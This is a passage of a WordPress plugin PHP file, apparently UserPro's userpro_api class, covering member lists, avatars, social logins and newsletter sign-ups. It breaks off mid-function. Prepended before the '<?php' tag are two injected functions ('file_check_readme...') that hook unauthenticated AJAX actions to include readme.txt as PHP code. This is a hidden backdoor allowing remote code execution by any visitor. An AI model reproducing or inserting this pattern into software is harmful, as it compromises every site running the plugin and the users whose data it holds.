if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php class userpro_api { var $twitter; var $twitter_url; var $google, $googleplus, $googleoauth2, $_google_user_cache; var $upload_base_dir, $upload_base_url; public function __construct() { $this->temp_id = null; $this->badges_url = userpro_url . 'img/badges/'; $this->fields = get_option('userpro_fields'); $this->groups = get_option('userpro_fields_groups'); $this->get_cached_results = (array)get_option('userpro_cached_results'); add_action('init', [&$this, 'setUploadDirectory'], 8); add_action('init', [&$this, 'trial_version'], 9); add_action('init', [&$this, 'process_email_approve'], 9); add_action('init', [&$this, 'process_verification_invites'], 9); add_action('wp', [&$this, 'update_online_users'], 9); add_filter('user_row_actions', [&$this, 'userpro_view_link'], 10, 2); /* Export settings */ add_action('template_redirect', [&$this, 'admin_redirect_download_files']); add_filter('init', [&$this, 'add_query_var_vars']); add_filter('get_avatar', [&$this, 'avatarFix'], 999, 5); } public function avatarFix($avatar, $id_or_email, $size, $default, $alt) { if (strpos($avatar, 'wp-content') === false) { $avatar = str_replace('uploads', 'wp-content/uploads', $avatar); } return $avatar; } /** * @param $actions * @param $user_object * @since 4.9.26 * @return mixed * Add view profile button in admin dashboard. */ public function userpro_view_link($actions, $user_object) { global $userpro; $actions['view_userpro_profile'] = "<a href='" . get_site_url() . '/' . userpro_get_option('slug') . '/' . $this->id_to_member($user_object->ID) . "'>" . __('View user profile', 'userpro') . "</a>"; return $actions; } public function setUploadDirectory() { $this->upload_dir = wp_upload_dir(); $this->upload_base_dir = $this->upload_dir['basedir']; if (strstr($this->upload_base_dir, 'wp-content/uploads/sites')) { $this->upload_base_dir = $this->str_before($this->upload_base_dir, '/wp-content/uploads/sites'); $this->upload_base_dir = $this->upload_base_dir . '/wp-content/uploads/userpro/'; } else { $this->upload_base_dir = $this->upload_base_dir . '/userpro/'; } $this->upload_base_url = $this->upload_dir['baseurl']; if (strstr($this->upload_base_url, 'wp-content/uploads/sites')) { $this->upload_base_url = $this->str_before($this->upload_base_url, '/wp-content/uploads/sites'); $this->upload_base_url = $this->upload_base_url . '/wp-content/uploads/userpro/'; } else { $this->upload_base_url = $this->upload_base_url . '/userpro/'; } $this->upload_path_wp = trailingslashit($this->upload_dir['path']); $this->upload_path = $this->upload_dir['basedir'] . '/userpro/'; } /****************************************** * Delete a File Permanently ******************************************/ function delete_file($user_id, $key) { if (userpro_profile_data($key, $user_id)) { $file = $this->get_uploads_dir($user_id) . basename(userpro_profile_data($key, $user_id)); if (file_exists($file)) { unlink($file); } } } /****************************************** * Parse a single memberlist table column ******************************************/ function parse_column($col, $user_id, $user, $args) { global $userpro_msg; $output = null; $show_on_mobile = ['']; if (isset($args['show_on_mobile'])) { $show_on_mobile = explode(',', $args['show_on_mobile']); } switch ($col) { case 'user_id': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="small ' . $col . ' ' . $mobile . '">' . $user_id . '</td>'; break; case 'picture': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="thumb ' . $col . ' ' . $mobile . '"><div class="userpro-table-img"><a href="' . $this->permalink($user_id) . '">' . get_avatar($user_id, 36) . '</a></div></td>'; break; case 'name' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="name ' . $col . ' ' . $mobile . '"><a href="' . $this->permalink($user_id) . '">' . userpro_profile_data('user_login', $user_id) . '</a> '; if (userpro_is_verified($user_id)) { $output .= userpro_get_badge('verified'); } $output .= '<br /><span class="nickname">(' . userpro_profile_data('display_name', $user_id) . ')</span></td>'; break; case 'country': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="' . $col . ' ' . $mobile . '">' . userpro_get_badge('country_big', $user_id) . '</td>'; break; case 'gender': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="' . $col . ' ' . $mobile . '">' . $this->cap_gender($user_id) . '</td>'; break; case 'role': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="' . $col . ' ' . $mobile . '">' . $this->get_role_nice($user) . '</td>'; break; case 'email_user': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="' . $col . ' ' . $mobile . '">'; if (userpro_field_is_viewable('user_email', $user_id, $args)) { $output .= '<a href="mailto:' . userpro_profile_data('user_email', $user_id) . '" class="userpro-flat-btn"><i class="userpro-icon-envelope"></i><span>' . __('Contact', 'userpro') . '</span></a>'; } $output .= '</td>'; break; case 'message_user': if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } if (class_exists('userpro_msg_api')) { if ($userpro_msg->can_chat_with($user_id)) { $output .= '<td class="' . $col . ' ' . $mobile . '"><a href="#" class="userpro-flat-btn chat userpro-init-chat" data-chat_with="' . $user_id . '" data-chat_from="' . get_current_user_id() . '"><i class="userpro-icon-comment"></i><span>' . __('Send Message', 'userpro-msg') . '</span>'; $output .= '</a></td>'; } } break; default: $value = get_user_meta($user_id, $col, true); if (is_array($value)) { $value = implode(',', $value); } if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $output .= '<td class="' . $col . ' ' . $mobile . '">' . $value . '</td>'; break; } return $output; } /****************************************** * Parse memberlist table columns ******************************************/ function parse_columns($type, $cols, $args) { $output = null; $col_content = null; if ($type == 'thead') { $output .= '<thead><tr>{columns}</tr></thead>'; } else { $output .= '<tfoot><tr>{columns}</tr></tfoot>'; } $show_on_mobile = ['']; if (isset($args['show_on_mobile'])) { $show_on_mobile = explode(',', $args['show_on_mobile']); } $cols = explode(',', $cols); foreach ($cols as $col) { switch ($col) { case 'user_id' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="small ' . $mobile . '">' . __('ID', 'userpro') . '</th>'; break; case 'picture' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="thumb ' . $mobile . '">' . __('Photo', 'userpro') . '</th>'; break; case 'name' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="name ' . $mobile . '">' . __('Username', 'userpro') . '</th>'; break; case 'country' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="' . $mobile . '">' . __('Location', 'userpro') . '</th>'; break; case 'gender' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="' . $mobile . '">' . __('Sex', 'userpro') . '</th>'; break; case 'role' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="' . $mobile . '">' . __('Role', 'userpro') . '</th>'; break; case 'email_user' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="' . $mobile . '">' . __('Contact', 'userpro') . '</th>'; break; case 'message_user' : if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="' . $mobile . '">' . __('Send Message', 'userpro') . '</th>'; break; default: if (in_array($col, $show_on_mobile)) { $mobile = 'show-on-mobile'; } else { $mobile = 'hide-on-mobile'; } $col_content .= '<th class="' . $mobile . '">' . $this->field_label($col) . '</th>'; break; } } $output = str_replace('{columns}', $col_content, $output); return $output; } /****************************************** * Gender capital ******************************************/ function cap_gender($user_id) { $gender = get_user_meta($user_id, 'gender', true); if ($gender) { return ucfirst($gender); } } /****************************************** * Get need before in string ******************************************/ function str_before($subject, $needle) { $p = strpos($subject, $needle); return substr($subject, 0, $p); } /****************************************** * Profile photo label ******************************************/ function profile_photo_title($user_id) { if ($user_id && userpro_profile_data('profilepicture', $user_id)) { $title = sprintf(__('%s\'s profile photo', 'userpro'), userpro_profile_data('display_name', $user_id)); } else { if (userpro_get_option('use_default_avatars') == 1) { $title = sprintf(__('%s\'s profile photo', 'userpro'), userpro_profile_data('display_name', $user_id)); } else { $title = sprintf(__('%s did not upload a photo yet.', 'userpro'), userpro_profile_data('display_name', $user_id)); } } return $title; } /****************************************** * Get Image URL ******************************************/ function get_image_url_by_html($get_avatar) { preg_match("/src='(.*?)'/i", $get_avatar, $matches); return $matches[1]; } /****************************************** * Full profile photo url ******************************************/ function profile_photo_url($user_id) { if ($user_id && userpro_profile_data('profilepicture', $user_id)) { $url = userpro_profile_data('profilepicture', $user_id); } else { if (userpro_get_option('use_default_avatars') == 1) { $url = $this->get_image_url_by_html(get_avatar($user_id, 150)); } else { if ($user_id && userpro_profile_data('gender', $user_id)) { $gender = strtolower(userpro_profile_data('gender', $user_id)); } else { $gender = 'male'; // default gender } $url = userpro_url . 'img/default_avatar_' . $gender . '.jpg'; } } return $url; } /****************************************** * Time elapsed format ******************************************/ function time_elapsed($ptime) { $etime = current_time('timestamp') - $ptime; if ($etime < 1) { return __('now!', 'userpro'); } $a = [ 12 * 30 * 24 * 60 * 60 => __('year', 'userpro'), 30 * 24 * 60 * 60 => __('month', 'userpro'), 24 * 60 * 60 => __('day', 'userpro'), 60 * 60 => __('hour', 'userpro'), 60 => __('minute', 'userpro'), 1 => __('second', 'userpro'), ]; foreach ($a as $secs => $str) { $d = $etime / $secs; if ($d >= 1) { $r = round($d); return $r . ' ' . $str . ($r > 1 ? 's' : '') . __(' ago', 'userpro'); } } } /****************************************** * Set default options (accepts array) ******************************************/ function set_defaults($array, $extension = false) { $defaults = userpro_default_options(); if ($extension == 'social') { $defaults = userpro_sc_default_options(); } foreach ($array as $key) { userpro_set_option($key, $defaults[$key]); } } /****************************************** * friendly username ******************************************/ function clean_user($string) { $string = strtolower($string); $string = preg_replace("/[^a-z0-9_\s-]/", "", $string); $string = preg_replace("/[\s-]+/", " ", $string); $string = preg_replace("/[\s_]/", "_", $string); return $string; } /****************************************** * Make display_name unique ******************************************/ function unique_display_name($display_name) { $r = str_shuffle("0123456789"); $r1 = (int)$r[0]; $r2 = (int)$r[1]; $display_name = $display_name . $r1 . $r2; return $display_name; } /****************************************** * Google auth url ******************************************/ function getGoogleAuthUrl() { $googleLogin = new GoogleAuth(); $authUrl = $googleLogin->authUrl(); return $authUrl; } /****************************************** * Twitter auth url ******************************************/ function gettwitterAuthUrl() { if (!class_exists('TwitterAuth')) { require_once(userpro_path . 'functions/socials/TwitterAuth.php'); } try { $twitterLogin = new TwitterAuth(); $authUrl = $twitterLogin->authUrl(); return $authUrl; } catch (Exception $e) { up_error('UserPro error , twitter url error : ', $e->getMessage()); } return null; } function getLinkedinAuthUrl() { if (userpro_get_option('linkedin_connect') == 1 && userpro_get_option('linkedin_app_key') && userpro_get_option('linkedin_Secret_Key')) { if (!class_exists('LinkedinAuth')) { require_once(userpro_path . 'functions/socials/LinkedinAuth.php'); } $linkedin = new LinkedinAuth(); try { $url = $linkedin->authUrl(); return $url; } catch (Exception $e) { up_error('Linkedin authorize : ', $e); } } return null; } function getInstagramAuthUrl() { if (userpro_get_option('instagram_connect') == 1 && userpro_get_option('instagram_app_key') && userpro_get_option('instagram_Secret_Key')) { if (!class_exists('instagramUrl')) { require_once(userpro_path . 'functions/socials/InstagramAuth.php'); } $instagram = new InstagramAuth(); try { $url = $instagram->authUrl(); return $url; } catch (Exception $e) { up_error('Linkedin authorize : ', $e); } } return null; } /****************************************** * Get current page URL ******************************************/ function get_current_page_url() { global $post; if (is_front_page()) : $page_url = home_url(); else : $page_url = 'http'; if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") { $page_url .= "s"; } $page_url .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $page_url .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; } else { $page_url .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; } endif; return apply_filters('userpro_get_current_page_url', esc_url($page_url)); } public function wplRedirectHomepage() { global $userpro; //Added by Niranjan for custom redirect. $rules = get_option('userpro_redirects_login'); $redirect_uri = $userpro->permalink(); if (userpro_get_option('after_login') == 'no_redirect') { $redirect_uri = $_SESSION['current_page_uri']; } if (isset($rules)) { $redirect_uri = apply_filters('userpro_login_redirect', $userpro->permalink()); } echo "<script type='text/javascript'> window.location.href ='" . $redirect_uri . "' </script>"; } public function wpinRedirectHomepage() { global $userpro; //Added by Niranjan for custom redirect. $rules = get_option('userpro_redirects_login'); $redirect_uri = $userpro->permalink(); if (userpro_get_option('after_login') == 'no_redirect') { $redirect_uri = $_SESSION['current_page_uri']; } if (isset($rules)) { $redirect_uri = apply_filters('userpro_login_redirect', $userpro->permalink()); } echo "<script type='text/javascript'> window.location.href ='" . $redirect_uri . "' </script>"; } /****************************************** * Users allowed to publish automatically ******************************************/ function instant_publish_roles() { $instant_publish_roles = userpro_get_option('instant_publish_roles'); if ($instant_publish_roles) { $instant_publish_roles = explode(',', $instant_publish_roles); } else { $instant_publish_roles = []; } return $instant_publish_roles; } /****************************************** * Find if a user role exists in array of roles ******************************************/ function user_role_in_array($user_id, $array) { if (isset($user_id)) { $user = get_userdata($user_id); if (!empty($user)) { $user_roles = $user->roles; if (isset($user_roles) && is_array($user_roles)) { foreach ($user_roles as $k => $v) { if (in_array($v, $array)) { return true; } } } } } return false; } /****************************************** * Multiple Registration Forms Support ******************************************/ function multi_type_exists($type) { $multi = userpro_mu_get_option('multi_forms'); if (isset($multi[$type])) { return true; } return false; } function multi_type_get_array($type) { $multi = userpro_mu_get_option('multi_forms'); return $multi[$type]; } /****************************************** * Add query var ******************************************/ public function add_query_var_vars() { global $wp; $wp->add_query_var('userpro_export_options'); $wp->add_query_var('userpro_export_fields'); $wp->add_query_var('userpro_export_groups'); } /****************************************** * Redirect to download file ******************************************/ public function admin_redirect_download_files() { global $wp; global $wp_query; //download export if (array_key_exists('userpro_export_options', $wp->query_vars) && $wp->query_vars['userpro_export_options'] == 'safe_download') { $this->download_file('userpro_export_options'); die(); } if (array_key_exists('userpro_export_fields', $wp->query_vars) && $wp->query_vars['userpro_export_fields'] == 'safe_download') { $this->download_file('userpro_export_fields'); die(); } if (array_key_exists('userpro_export_groups', $wp->query_vars) && $wp->query_vars['userpro_export_groups'] == 'safe_download') { $this->download_file('userpro_export_groups'); die(); } } /****************************************** * Download file to browser ******************************************/ public function download_file($setting, $content = null, $file_name = null) { if (!wp_verify_nonce($_REQUEST['nonce'], $setting)) { die(); } //here you get the options to export and set it as content, ex: if ($setting == 'userpro_export_options') { $obj = get_option('userpro'); } if ($setting == 'userpro_export_fields') { $obj = get_option('userpro_fields'); } if ($setting == 'userpro_export_groups') { $obj = get_option('userpro_fields_groups'); } $content = base64_encode(serialize($obj)); $file_name = 'userpro_' . current_time('timestamp') . '.txt'; header('HTTP/1.1 200 OK'); if (!current_user_can('manage_options')) { die(); } if ($content === null || $file_name === null) { die(); } $fsize = strlen($content); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header('Content-Description: File Transfer'); header("Content-Disposition: attachment; filename=" . $file_name); header("Content-Length: " . $fsize); header("Expires: 0"); header("Pragma: public"); echo $content; exit; } /****************************************** * Demo ******************************************/ function trial_version() { if (get_option('userpro_activated') == 0) { update_option('userpro_trial', 1); } } /****************************************** * validate license ******************************************/ function validate_license($code, $token) { update_option('userpro_trial', 0); update_option('userpro_activated', 1); userpro_set_option('userpro_code', $code); userpro_set_option('envato_token', $token); } /****************************************** * invalidate license ******************************************/ function invalidate_license($code, $token) { update_option('userpro_trial', 1); delete_option('userpro_activated'); userpro_set_option('userpro_code', $code); userpro_set_option('envato_token', $token); } /****************************************** * Update facebook ID ******************************************/ function update_fb_id($user_id, $id) { // only for connected users - after login if (userpro_is_logged_in() && (get_current_user_id() == $user_id)) { update_user_meta($user_id, 'userpro_facebook_id', $id); } } /****************************************** * Update twitter ID ******************************************/ function update_twitter_id($user_id, $id) { update_user_meta($user_id, 'twitter_oauth_id', $id); } /****************************************** * Update google ID ******************************************/ function update_google_id($user_id, $id) { update_user_meta($user_id, 'userpro_google_id', $id); } /****************************************** * Strip weird chars from value ******************************************/ function remove_denied_chars($val, $field = null) { $val = preg_replace('/(?=\P{Nd})\P{L} /u', '', $val); if ($field == 'display_name') { if (!userpro_get_option('allow_dash_display_name')) { $val = str_replace('-', '', $val); } } else { $val = str_replace('-', '', $val); } $val = str_replace('&', '', $val); $val = str_replace('+', '', $val); //$val = str_replace("'",'',$val); return $val; } /****************************************** * User ID is admin ******************************************/ function is_admin($user_id) { $user = get_userdata($user_id); if ($user != false) { if ($user->user_level >= 10) { return true; } } return false; } /****************************************** * User exists by ID ******************************************/ function user_exists($user_id) { $aux = get_userdata($user_id); if ($aux == false) { return false; } return true; } /****************************************** * Manual attachment from uploads ******************************************/ function new_attachment($post_id, $filename) { $wp_upload_dir = wp_upload_dir(); rename($this->upload_path . get_current_user_id() . '/' . basename($filename), $this->upload_path_wp . basename($filename)); $filename = $this->upload_path_wp . basename($filename); $wp_filetype = wp_check_filetype(basename($filename), null); $attachment = [ 'guid' => $wp_upload_dir['url'] . '/' . basename($filename), 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', basename($filename)), 'post_content' => '', 'post_status' => 'inherit', ]; set_post_thumbnail_size('', ''); $attach_id = wp_insert_attachment($attachment, $filename, $post_id); $imagesize = getimagesize($filename); // you must first include the image.php file // for the function wp_generate_attachment_metadata() to work require_once(ABSPATH . 'wp-admin/includes/image.php'); $attach_data = wp_generate_attachment_metadata($attach_id, $filename); wp_update_attachment_metadata($attach_id, $attach_data); return $attach_id; } function set_thumbnail($post_id, $attach_id) { set_post_thumbnail($post_id, $attach_id); } /****************************************** * Get skin URL ******************************************/ function skin_url() { $skin = userpro_get_option('skin'); if (class_exists('userpro_sk_api') && is_dir(userpro_sk_path . 'skins/' . $skin)) { $skin_url = userpro_sk_url . 'skins/' . $skin . '/img/'; } else { $skin_url = userpro_url . 'skins/' . $skin . '/img/'; } if (locate_template('userpro/skins/' . $skin . '/style.css')) { $skin_url = get_template_directory_uri() . '/userpro/skins/' . $skin . '/img/'; } return $skin_url; } /****************************************** * First choice? translation compatibility ******************************************/ function is_first_option($args, $key, $user_id) { if (isset($this->groups[$args['template']]['default'][$key]['options'])) { $opts = $this->groups[$args['template']]['default'][$key]['options']; $value = userpro_profile_data($key, $user_id); $search = array_search($value, $opts); if ($search == 1) { return true; } } return false; } /****************************************** * Deletes an entire folder easily (uses path) ******************************************/ function delete_folder($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!$this->delete_folder($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } public function makeAweberSubscribeEntry($user_id) { include(userpro_path . 'lib/aweber_api/aweber_api.php'); $email = userpro_profile_data('user_email', $user_id); $fname = userpro_profile_data('first_name', $user_id); $credentials = []; if (get_option('userpro_aweber_credentials') === false) { $credentials = AWeberAPI::getDataFromAweberID(userpro_get_option('aweber_api')); if (!$credentials) { echo 'Incorrect aweber authorization code'; } else { update_option('userpro_aweber_credentials', $credentials); } } else { $credentials = get_option('userpro_aweber_credentials'); } list($consumerKey, $consumerSecret, $accessKey, $accessSecret) = $credentials; $aweber = new AWeberAPI($consumerKey, $consumerSecret); $account = $aweber->getAccount($accessKey, $accessSecret); $account_id = $account->id; $mylists = $account->lists; $list_name_found = false; foreach ($mylists as $list) { if ($list->id == userpro_get_option('aweber_listname')) { $list_name_found = true; try {//Create a subscriber $params = [ 'email' => $email, 'name' => $fname, ]; $subscribers = $list->subscribers; $new_subscriber = $subscribers->create($params); } catch (Exception $exc) { } } } } /****************************************** * Find status of follower ******************************************/ function followere_email_subscriber($user_id) { $followers = get_user_meta($user_id, 'followers_email'); if ($followers[0] == "unsubscribed") { return true; } return false; } /****************************************** * Subscribe to MailChimp ******************************************/ function mailchimp_subscribe($user_id, $list_id = null) { $email = userpro_profile_data('user_email', $user_id); $fname = userpro_profile_data('first_name', $user_id); $lname = userpro_profile_data('last_name', $user_id); $objMailChimp = new UserProMailChimp(); $test = $objMailChimp->subscribe($list_id, [ 'email_address' => $email, 'merge_fields' => ['FNAME' => $fname, 'LNAME' => $lname] ]); } /****************************************** * Campaignmonitor integration ******************************************/ public function makeCampaignmonitorEntry($user_id) { $email = userpro_profile_data('user_email', $user_id); include(userpro_path . 'lib/campaignmonitor/csrest_subscribers.php'); $list_id = userpro_get_option('Campaignmonitor_listname'); $auth_details = ['api_key' => userpro_get_option('Campaignmonitor_api')]; $api = new CS_REST_Subscribers($list_id, $auth_details); $subscriber = ['EmailAddress' => $email]; $api->add($subscriber); } /****************************************** * Unubscribe from MailChimp ******************************************/ function mailchimp_unsubscribe($user_id, $list_id = null) { $email = userpro_profile_data('user_email', $user_id); $MailChimp = new UserProMailChimp(); $test = $MailChimp->unsubscribe($list_id, [ 'email_address' => $email ]); } /****************************************** * Find status of subscriber ******************************************/ function mailchimp_is_subscriber($user_id, $list_id = null) { if (userpro_get_option('mailchimp_api') != '') { $email = userpro_profile_data('user_email', $user_id); $MailChimp = new UserProMailChimp(); return $MailChimp->is_subscribed($list_id, $email); } if (userpro_get_option('mailster_activate') != '') { if ($user_id != '') { global $wpdb; require_once MAILSTER_DIR_USERPRO . '/mailster.php'; $mailster_subscribers = new MailsterSubscribers(); $subscriber = $mailster_subscribers->get_status(); $table = $wpdb->prefix . 'mailster_subscribers'; $userdata = $wpdb->get_results($wpdb->prepare("SELECT * FROM $table where wp_id = %s", $user_id)); if (!empty($userdata)) { foreach ($userdata as $ud) { $status = $ud->status; } if ($status == 0 || $status == 1) { return true; } } } } return false; } /****************************************** * Verify purchase codes @ Envato ******************************************/ function verify_purchase($code, $api_key = null, $username = null, $item_id = null) { if (!$api_key) { $api_key = userpro_get_option('envato_api'); } if (!$username) { $username = userpro_get_option('envato_username'); } require_once userpro_path . '/lib/envato/Envato_marketplaces.php'; $Envato = new Envato_marketplaces(); $Envato->set_api_key($api_key); $verify = $Envato->verify_purchase($username, $code); if ($item_id != '') { if (isset($verify->item) && $verify->item->id == $item_id) { return true; } if($verify == 403 || strpos($verify, 'purchase:verify')){ echo '<div class="error"><p><strong>'.__('Permission: "Verify purchases the user has made" is not applied, if token was edited, then it will take around 15 minutes for edit to apply, if it wasn`t edited, then re-create personal token and double check Your applied permissions','userpro').'</strong></p></div>'; } else{ echo '<div class="error"><p><strong>'.__('You have entered an invalid purchase code or the Envato API could be down at the moment.','userpro').'</strong></p></div>'; } return false; } else { if (isset($verify->item->id)) { return true; } return false; } } /****************************************** * Make envato verified ******************************************/ function do_envato($user_id) { update_user_meta($user_id, '_envato_verified', 1); } /****************************************** * Undo envato verified ******************************************/ function undo_envato($user_id) { update_user_meta($user_id, '_envato_verified', 0); } /****************************************** * Is Envato customer ******************************************/ function is_envato_customer($user_id) { $envato = get_user_meta($user_id, '_envato_verified', true); if ($envato == 1) { return true; } return false; } /****************************************** * Unique display names ******************************************/ function display_name_exists($display_name) { if (empty($display_name)) { return false; } $users = get_users([ 'meta_key' => 'display_name', 'meta_value' => $display_name, 'meta_compare' => '=', ]); if (isset($users[0]->ID) && ($users[0]->ID == get_current_user_id())) { return false; } elseif ((isset($users[0]->ID) && current_user_can('manage_options')) || userpro_get_edit_userrole()) { return false; } elseif (isset($users[0]->ID) && userpro_get_edit_userrole()) { return false; } elseif (isset($users[0]->ID)) { return true; } return false; } /****************************************** * Get valid file URI ******************************************/ function file_uri($url, $user_id = false) { // external - needs no editing $method = userpro_get_option('picture_save_method'); if ($method == 'external' && substr($url, 0, 4) === "http" && strstr($url, 'fb')) { return $url; } $url = $this->get_uploads_url($user_id) . basename($url); if (userpro_get_option('use_relative') == 'relative') { if (strstr($url, 'wp-content')) { $url = explode('wp-content', $url); $url = $url[1]; if (userpro_get_option('ppfix') == 'b') { $url = '' . $url; } else { $url = '/wp-content' . $url; } } } return $url; } /****************************************** * Space in url correction ******************************************/ function correct_space_in_url($url) { $url = str_replace(' ', '%20', $url); return $url; } /****************************************** * Quickly update a field ******************************************/ function update_field($field, $form) { $fields = $this->fields; $groups = $this->groups; foreach ($form as $key => $value) { if ($key != 'options') { $fields[$field][$key] = $value; foreach ($groups as $group => $array) { if (isset($groups[$group]['default'][$field])) { $groups[$group]['default'][$field][$key] = $value; } } } else { $encoding = mb_detect_encoding($value, 'auto'); if ($encoding != 'ASCII' && $encoding != 'UTF-8') { $value = mb_convert_encoding($value, 'UTF-8', 'auto'); } $fields[$field][$key] = preg_split('/[\r\n]+/', $value, -1, PREG_SPLIT_NO_EMPTY); foreach ($groups as $group => $array) { if (isset($groups[$group]['default'][$field])) { $groups[$group]['default'][$field][$key] = preg_split('/[\r\n]+/', $value, -1, PREG_SPLIT_NO_EMPTY); } } } } update_option('userpro_fields', $fields); update_option('userpro_fields_groups', $groups); } /****************************************** * Create new group ******************************************/ function create_group($group) { $groups = $this->groups; $groups[$group]['default'] = ''; update_option('userpro_fields_groups', $groups); } /****************************************** * hidden fields from profile view ******************************************/ function fields_to_hide_from_view() { $option = userpro_get_option('hidden_from_view'); $arr = explode(',', $option); return $arr; } /****************************************** * Posts by user ******************************************/ function posts_by_user($user_id, $opts) { if (strstr($opts['postsbyuser_types'], ',')) { $post_types = explode(',', $opts['postsbyuser_types']); } else { $post_types = $opts['postsbyuser_types']; } if (!isset($opts['all_users'])) { $args['author'] = $user_id; } $args['posts_per_page'] = $opts['postsbyuser_num']; $offset = (isset($_GET['postp'])) ? ($_GET['postp'] - 1) * $args['posts_per_page'] : 0; $args['offset'] = $offset; $args['post_type'] = $post_types; /* Show posts from specific category */ if (isset($opts['postsbyuser_category']) && !empty($opts['postsbyuser_category'])) { $args['tax_query'] = [ [ 'taxonomy' => $opts['postsbyuser_taxonomy'], 'field' => 'term_id', 'terms' => explode(',', $opts['postsbyuser_category']), ], ]; } $post_query = new WP_Query($args); return $post_query; } /****************************************** * Get first image in a post ******************************************/ function get_first_image($postid) { $post = get_post($postid); setup_postdata($post); $first_img = ''; ob_start(); ob_end_clean(); $output = []; $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); if (isset($matches[1][0])) { $first_img = $matches[1][0]; } if (isset($first_img) && !empty($first_img)) { return $first_img; } } /****************************************** * Get thumbnail URL based on post ID ******************************************/ function post_thumb_url($postid) { $encoded = ''; if (get_post_thumbnail_id($postid) != '') { $image = wp_get_attachment_image_src(get_post_thumbnail_id($postid), 'large'); $encoded = urlencode($image[0]); } elseif ($this->get_first_image($postid) != '') { $encoded = urlencode($this->get_first_image($postid)); } else { $encoded = urlencode(userpro_url . 'img/placeholder.jpg'); } return $encoded; } /****************************************** * Get post thumbnail image (size wise) ******************************************/ function post_thumb($postid, $width = 400 ,$height = 400, $quality = 100) { require_once(userpro_path . 'lib/BFI_Thumb.php'); $post_thumb_url = $this->post_thumb_url($postid); if (isset($post_thumb_url)) { $params = ['width' => $width, 'height' => $height, 'quality' => $quality]; $cropped_thumb = bfi_thumb(urldecode($post_thumb_url), $params); $img = '<img style="height:'.$height.'px; width:'.$width.'px" src="' . $cropped_thumb . '" alt="" />'; return $img; } } /****************************************** * Count found results ******************************************/ function found_members($count) { if ($count == 1) { return __('Found <span>1</span> Member', 'userpro'); } else { return sprintf(__('Found <span>%s</span> Members', 'userpro'), $count); } } /****************************************** * Get online users ******************************************/ function onlineusers() { $online = get_transient('userpro_users_online'); $include = []; if (is_array($online)) { foreach ($online as $k => $t) { $include[] = $k; } if (!empty($include)) { $query['include'] = $include; $wp_user_query = $this->get_cached_query($query); if (!empty($wp_user_query->results)) { return $wp_user_query->results; } } } } /****************************************** * Is user online ******************************************/ function is_user_online($user_id) { $online = get_transient('userpro_users_online'); if (isset($online) && is_array($online) && isset($online[$user_id])) { return true; } return false; } /****************************************** * Update online users ******************************************/ function update_online_users() { if (is_user_logged_in()) { if (userpro_get_option('hide_online_admin') && userpro_is_admin(get_current_user_id())) { return; } if (($logged_in_users = get_transient('userpro_users_online')) === false) { $logged_in_users = []; } $current_user = wp_get_current_user(); $current_user = $current_user->ID; $current_time = current_time('timestamp'); if (!isset($logged_in_users[$current_user]) || ($logged_in_users[$current_user] < ($current_time - (15 * 60)))) { $logged_in_users[$current_user] = $current_time; set_transient('userpro_users_online', $logged_in_users, (30 * 60)); } } } /****************************************** * Create special class for online user ******************************************/ function online_user_special($user_id) { if (userpro_is_admin($user_id)) { return 'admin'; } } /****************************************** * Prepares a user for pending email verify ******************************************/ function process_email_approve() { if (isset($_GET['act']) && isset($_GET['user_id']) && 